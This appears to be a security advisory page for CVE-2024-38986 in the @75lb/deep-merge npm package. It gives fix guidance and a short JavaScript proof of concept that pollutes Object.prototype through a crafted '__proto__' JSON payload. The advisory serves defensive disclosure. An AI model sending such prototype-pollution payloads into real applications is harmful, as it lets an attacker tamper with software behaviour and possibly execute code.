Improper Restriction of Operations within the Bounds of a Memory Buffer Affecting @75lb/deep-merge package, versions <1.1.2
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-JS-75LBDEEPMERGE-7575311
- published31 Jul 2024
- disclosed30 Jul 2024
- creditmestrtee
Introduced: 30 Jul 2024
CVE-2024-38986 (opens in a new tab)How to fix?
Upgrade @75lb/deep-merge to version 1.1.2 or higher.
Overview
@75lb/deep-merge is a Deep-merge the values of one object structure into another
Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer through the merge methods of lodash to merge objects. An attacker can execute arbitrary code or cause a system crash by manipulating the input objects passed to these methods.
PoC
(async () => {
const lib = await import('@75lb/deep-merge');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();